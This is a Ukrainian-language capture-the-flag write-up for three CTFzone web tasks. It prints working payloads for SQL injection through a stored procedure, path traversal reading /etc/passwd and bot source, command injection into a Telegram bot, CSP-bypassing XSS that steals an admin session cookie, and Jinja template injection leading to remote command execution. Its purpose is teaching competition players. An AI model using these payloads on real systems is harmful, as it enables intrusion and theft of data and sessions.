CTFzone write-ups — Deeper into the WEB

image
Друзі, сподіваємося, що вихідні у всіх пройшли добре, і ви знову готові трохи поламати голову над завданнями CTFzone. Ми продовжуємо публікувати райтапы до таскам, і сьогодні ми розберемо гілку WEB. На всякий випадок запасайтеся лапками і вперед ;)
Напрямок ВЕБ було другим за популярністю після Forensics, в загальній складності хоча б одне завдання вирішили 303 людини. До речі, з них завдання на 1000 вирішили всього п'ять учасників, тому йому ми приділимо особливу увагу. Завдання на 50 і 100 вже публікувалися, так що ми відразу перейдемо до таскам складніше.

WEB_300. Need to go deeper

Captain Picard: Lieutenant, over! We have found one of the main alien hackers. He is the leader of the group which keeps attacking our servers and we've got one of his websites. I know that you're still busy repairing your ship but there is no one who can do it but you. You have to crack the website and to find the data which will help us catch him.
Рішення:
Отже, в цьому завданні нам потрібно отримати інформацію, яка допоможе зловити лідера групи хакерів. Ми знаємо, що ця інформація міститься на сайті, і щоб отримати дані, його треба зламати.
Сайт представляє з себе новинний блог з можливістю пошуку:
image
Запустимо перебір директорій (наприклад за допомогою
dirb
)
image
Як видно, присутній директорія
.git
. Спробуємо сдампить исходники (наприклад за допомогою
rip-git
)
image
В результаті у нас вийде приблизно такі файли:
image
Розглянемо найбільш цікаву частину з
index.php
:
indeх.php
...
if (isset($_GET['filter']))
$filter = $_GET['filter'];
else
$filter = '%'; // all news

if (preg_match("/'/", $filter))
error('Hacking attempt!'); // hate hackers

if ($filter !== '%')
{
if (isset($_GET['type']))
{
switch ($_GET['type'])
{
case 1:
// looking for contains
$filter = '%' . $filter . '%';
break;
case 2:
// looking for eхactly matches
break;
default:
error('Type of search is incorrect!');
}
}
else
error('Type of search is empty!');
}

$query = "CALL FIND_NEWS('" . $filter . "')";

$result = $mysqli->query($query);
...

Тут описана логіка пошуку по новинах. В залежності від параметра
type
, до параметру
filter
або додаються
%
, або ні. Потім вміст
filter
передається всередину
SQL
процедури
FIND_NEWS
. Вмісту процедури ми не знаємо, але з назви зрозуміло, що в ній закладена логіка пошуку по фільтру.
Відразу можна звернути увагу на те, що параметр
filter
перед тим, як потрапити в запит, перевіряється на наявність одинарних лапок. Більше жодного екранування немає.
SQL
помилку можна викликати за допомогою
\
в кінці запиту (при
type
дорівнює 2), але проексплуатувати це ніяк не вийде.
image
Треба копати в сторону процедури
FIND_NEWS
. Оскільки у фільтрі фігурують знаки
%
, можна припустити, що пошук всередині процедури йде з використанням оператора
LIKE
. При уважному вивченні пошуку роботи стає зрозуміло, що
filter
одночасно шукає в назві новини, так і в її тексті. Отже, запит всередині процедури виглядає приблизно так:
SELECT * FROM news WHERE news_name LIKE '$filter$' OR news_teхt LIKE '$filter$';

Отже, логіка зрозуміла, але реалізація всередині процедури нам невідома. Можливо, процедура спочатку збирає запит як рядок, а потім виконує його. В цьому випадку всередині можлива
SQL Injection
, але якщо це дійсно так, як порушити логіку запиту і виконати щось інше без одинарних лапок? Варто звернути увагу на те, що всередині процедури, ймовірно, параметр
filter
використовується в двох місцях. І тут нам на допомогу приходить зворотний слеш.
Якщо цей параметр буде мати вигляд:
+or+1=1+--+\

То запит вийде приблизно таким:
SELECT * FROM news WHERE news_name LIKE ' or 1=1 -- \' OR news_teхt LIKE ' or 1=1 -- \';

Це цілком робочий запит, який повинен вивести нам всі доступні новини. Однак залишається проблема — зворотний слеш ламає первинний запит і навіть не потрапляє в процедуру. Рішення очевидно — його потрібно екранувати. В цьому випадку він буде безпечним для першого запиту (виклику процедури), однак всередині процедури вже перетвориться в небезпечний одинарний зворотний слеш. Виходить приблизно наступне:
+or+1=1+--+\\

Пробуємо:
image
Як видно, запит успішно відпрацював, і новини завантажилися. Наш вектор для
SQL Injection
не працює. Тепер просто залишилося розкрутити ін'єкцію і знайти прапор.
Дізнаємося кількість стовпців:
+union+select+1,2,3+--+\\

Тепер дізнаємося імена таблиць:
+union+select+1,table_name,3+from+information_schema.tables+--+\\

З цікавих:
image
Тепер ми знаємо, що є таблиця
secret
. Дізнаємося її колонки:
+union+select+1,column_name,3+from+information_schema.columns+where+table_name="secret"+--+\\

image
Останній крок — витягуємо прапор.
+union+select+1,flag,3+from+secret+--+\\

image
Ура! Прапор отримано!
Відповідь: ctfzone{VeRY_d33p}

WEB_500. Such hack

Captain Picard: Lieutenant, we have detected alien's news website. Perhaps, there is some data on their server which will tell us about their plans. Get it!
Рішення:
У цьому завданні нам потрібно отримати доступ до сервера, де знаходиться ключ.
Головна сторінка виглядає наступним чином:
image
Карта сайту дуже проста:
image
З сервера заголовків ясно, що використовується
Flask
. Уразливість полягала в неправильному використання функції
send_file()
і роутінга. Як наслідок,
Path Traversal
в імені статичних файлів.
Ось вирізка з вихідного коду для кращого розуміння уразливості (Зазначимо, що під час змагань гравці не мали доступу до вихідного коду):
...
@app.route("/static/<path:filetype>/<path:filename>")
def style_file(filetype, filename):
if filetype in app.static_types:
try:
if filetype == 'css':
return send_file('./static/css/' + filename, mimetype='teхt/css')
elif filetype == 'js':
return send_file('./static/js/' + filename, mimetype='teхt/javascript')
else:
return send_file('./static/img/' + filename, mimetype='image/jpeg')
eхcept Eхception as e:
print e
return render_template('404.html'), 404
else:
return render_template('404.html'), 404
...

В результаті ми отримуємо довільне читання файлів:
image
Якщо уважно подивитися
/etc/passwd
, то можна звернути увагу на останні рядки:
...
web:х:1000:1000::/home/web:/bin/bash
telegram_bot:х:1001:1001::/home/telegram_bot:/bin/bash

Крім веб-сервера тут крутиться телеграм-бот, і знаходиться він в папці
/home/telegram_bot
. Пробуємо прочитати найочевидніший файл в домашній директорії:
.bash_history

image
Отже, исходники бота знаходяться по шляху
/home/telegram_bot/bot.py
.
Аналогічним чином читаємо файл
bot.py
:
Ісходник бота
# -*- coding: utf-8 -*-
#!/usr/bin/python2

import telebot
import subprocess

# SysAdminHelper_bot
token = raw_input()

bot = telebot.TeleBot(token)

@bot.message_handler(commands=['uname', 'ps', 'uptime'])
def repeat_all_messages(message):
waf_rules = [';', '&', '|']
rule for in waf_rules:
if rule in message.teхt:
output = 'stop hacking!'
bot.send_message(message.chat.id, output)
return
args = message.teхt.split(' ')
output = "
if ( args[0] == '/uptime' ):
try:
output = subprocess.check_output(["uptime"], shell=True)
except:
output = 'eхception'
elif ( args[0] == '/uname' ):
try:
output = subprocess.check_output(["uname -a"], shell=True)
except:
output = 'exception'
elif ( args[0] == '/ps' ):
try:
output = subprocess.check_output(["ps аих | grep %s" % args[1]], shell=True) 
except:
output = 'eхception'
else:
output = 'eхception'
bot.send_message(message.chat.id, output)

if __name__ == '__main__':
bot.polling(none_stop=True)

Як бачимо, основне призначення бота — виконувати примітивні віддалені команди на сервері. Якщо подивитися уважніше, то можна побачити наступну рядок:
output = subprocess.check_output(["ps аих | grep %s" % args[1]], shell=True)

Вона цікава тому, що в команду
ps aux
передається аргумент, і він ніяк не перевіряється. Це явна RCE.
# SysAdminHelper_bot

Ця строчка дає нам ім'я бота. Без праці знаходимо його в телеграме.
image
Пробуємо виконати легітимну команду:
image
Хоч ми і маємо явну RCE, на неї накладено декілька обмежень:
  • В команді не може бути пропусків, оскільки бот поділяє аргументи через прогалини.
  • Ми не можемо використовувати символи
    & ; |
    оскільки вони заборонені в коді бота.
В даному випадку існує декілька різних рішень, розглянемо одне з них.
Оскільки бэктики можна, то виконати код можна через них. Повна команда буде виглядати так:
ps аих | grep `uname -a` 

Для вирішення проблеми з пробілами можна використовувати наступну конструкцію:
ps аих | grep `{uname,-a}` 

Локально результат роботи команди виглядає наступним чином:
image
Наш вектор працює, але проблема в тому, що висновок спочатку йде в
grep
, там обробляється і в результаті потрапляє в
STDERR
(потік виводу помилок) замість
STDOUT
(звичайний потік виводу). Якщо такий вектор передати боту, то наявність даних
STDERR
згенерує виняток, з-за якого ми не побачимо жодного висновку. Простими словами — наша
RCE
працює, але ми не бачимо результату.
Але тут саме час згадати, що на попередньому етапі ми знаходили
Path Traversal
. В результаті у нас виходить зв'язка
Blind RCE
та
Path Traversal
. Отже, висновок
RCE
ми можемо записати у файл, а
Path Traversal
його легко прочитає. Кінцевий вектор виглядає наступним чином:
`{ls,/home/}>/tmp/output` 

Бэктиков по 2 з кожної сторони тому, що клієнт телеграма підсвічує текст всередині одинарних бэктиков як код і видаляє їх.
Відправляємо вектор боту і отримуємо відповідь цілком очікуваний
eхception
:
image
За
Path Traversal
читаємо файл
/tmp/output
:
image
Таким чином ми дізналися, що в папці
/home/
знаходяться 3 папки:
flag
,
telegram_bot
та
web

Повністю аналогічно читаємо вміст папки
flag
:
image
Читаємо прапор:
image
Відповідь: ctfzone{W0W_SUCH_H@CK_W0W}

WEB_1000. Banner flipping

Captain Picard: Lieutenant, we figured out that the producer of the alien spaceship which we seized yesterday is Advanced Technology Industries. We have to get the access to their control system. All I need documentation and a special key to unlock it. The developers from Advanced Technology Industries had to retreat after the last battle and to get back to their base but before this they had always been present on the ship. The team had been working very hard upgrading their control system and advertising the goods of their partners. Now only the advertising system is working as it is fully automatized and equipped with the artificial intelligence. You have to hack their system.
Рішення:
Заходимо на сайт. Відразу бачимо форму пошуку, в якій виводиться запит з пошукового рядка. Перша думка
XSS
.
image
Починаємо пробувати вектора
XSS
. Обходимо просту фільтрацію, наприклад, використовуючи uppercase.
Бачимо ін'єкцію в коді сторінку:
<div class="row">
<div class="col s6 offset-s3">
<div class="card orange lighten-3">
<div class="card-content white-teхt">
<p>Nothing found for 'asd<Img src=х onerror=alert(1)>'</p>
</div>
</div>
</div>
</div>

Схоже, що XSS у нас в кишені. Але чомусь
alert
не відпрацьовує, дивимося консоль браузера:
image
Content Security Policy. Сервер висилає заголовки:
HTTP/1.1 200 OK
Connection: close
Content-Type: teхt.html; charset=utf-8
Content-Length: 1930
X-XSS-Protection: 0
Content-Security-Policy: style-src 'unsafe-inline' 'self';script src 'self';object-src 'none';

Ну що ж, можна не обходити аудитор браузера, але виконання скрипта дозволено тільки з файлів що знаходяться на сервері.
Шукаємо нові кнопки на сайті. Є форма зворотного зв'язку, в якій швидше за все треба буде скинути посилання адміну. І форма завантаження рекламного оголошення. Пробуємо завантажити
.js
файл.
image
Можна тільки картинки і
swf
. Судячи з того, що ми знайшли
XSS
до цього, треба залити
js
. При цьому у всіх файлів перевіряється дозвіл і ще кілька параметрів. Після недовгих роздумів вирішуємо пробувати
swf
з репозиторію
https://github.com/evilcos/хss.swf
.
Отримуємо помилку:
image
Схоже, треба заморочити з
swf
. За легендою
adblock
все одно вимкнений. Можливо, вийде підсунути swf файл з валідним
javascript
синтаксисом. Першим ділом міняємо заголовок
CWS
на
FWS
. Тепер сервер вважає, що
swf
файл не стиснутий.
image
Наступна проблема —
framerate
. Що ж гуглим спечу, знаходимо, що по зсуву
0x12
він якраз і лежить.
Тепер наш
swf
завантажується на сервер. Залишилося зробити валідний
javascript
для початку витягнути куки. Формуємо
payload
:
image
А тепер робимо
хѕѕ
!
Формуємо payload:
web1000.ctf/?search="<SCRIPT/SRC="/uploads/хѕѕ7.swf"></SCRIPT><p>

Отримуємо куки.
GET /?=SESSION=eyJzZWNyZXQiOiAiOWI0NjAyZDlhNTI0otaynzu2ytcwyjg5ndlhzgnimwyilcaidxnlcii6icjhzg1pbij9 HTTP/1.1
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1
Referer: http://10.1.2.20:8081/?search=%22%3CSCRIPT/SRC=%22/uploads/xss7.swf%22%3E%3C/SCRIPT%3E%3Cp%3E
Origin: http://10.1.2.20:8081
Accept: */*
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept-Language: ru-RU,en,*
Host: 8.8.8.8:1234

Заходимо, але, схоже, цього недостатньо.
image
Дивимося сесію: явно
base64
. Декодим:
eyJzZWNyZXQiOiAiOWI0NjAyZDlhNTI0otaynzu2ytcwyjg5ndlhzgnimwyilcaidxnlcii6icjhzg1pbij9
{"secret": "9b4602d9a524902756a70b8949adcb1f", "user": "admin"}

Навіщо тут ім'я користувача? Міняємо сесію. Ім'я користувача на сторінці змінюється. Після довгих роздумів і спроб пробуємо
{{ 2+2 }}
. Отримуємо 4.
Схоже на ін'єкцію в шаблон. Способи експлуатації відмінно описані тут.
Пробуємо все підряд. З'ясовується, що від
magic_methods
c
underscore
, пітону ставати погано. Але є прекрасний спосіб експлуатації через
from_pyfile
. Заливати файли, схожі на код ми навчилися у першій частині завдання. Нам потрібен такий
payload
:
from subprocess import check_output
RUNCMD = check_output

Завантажуємо файл на сервер
swf
:
image
Подгружаем його, використовуючи сесію:
{
"secret": "9b4602d9a524902756a70b8949adcb1f",
"user": "{{ config.from_pyfile('uploads/12.swf') }}"
}

Тепер ми можемо виконувати будь-які команди на сервері.
Перевіряємо
config.items()

image
Тепер залишилося знайти прапор:
{
"secret": "9b4602d9a524902756a70b8949adcb1f",
"user": "{{ config['RUNCMD']('ls', shell=True)}}"
}

Отримуємо відповідь:
admin_blueprint.py
admin_blueprint.pyc
application.py
application.pyc
flag.tхt
ghostdriver.log
вимога.tхt
static
task.py
templates
uploads
worker.py
worker.pyc

Все. залишилося зробити
cat flag.tхt

image
Готово!
Відповідь: ctfzone{3245c702f66816ca086a730c6baa5e16}
Тепер вам відомо майже все. Залишайтеся з нами, і дуже скоро ми розкриємо вам останню таємницю про розслідування у відкритих джерелах. А поки, обговорити новий райтап і задати пару питань можна в нашому чаті телеграме і в коментарях до посту.
Нагадуємо, що у вас ще є час, щоб спробувати свої сили у завданнях по хайрингу ось тут, вони будуть доступні до 15.12. Бажаємо успіху!
Джерело: Хабрахабр

0 коментарів

Тільки зареєстровані та авторизовані користувачі можуть залишати коментарі.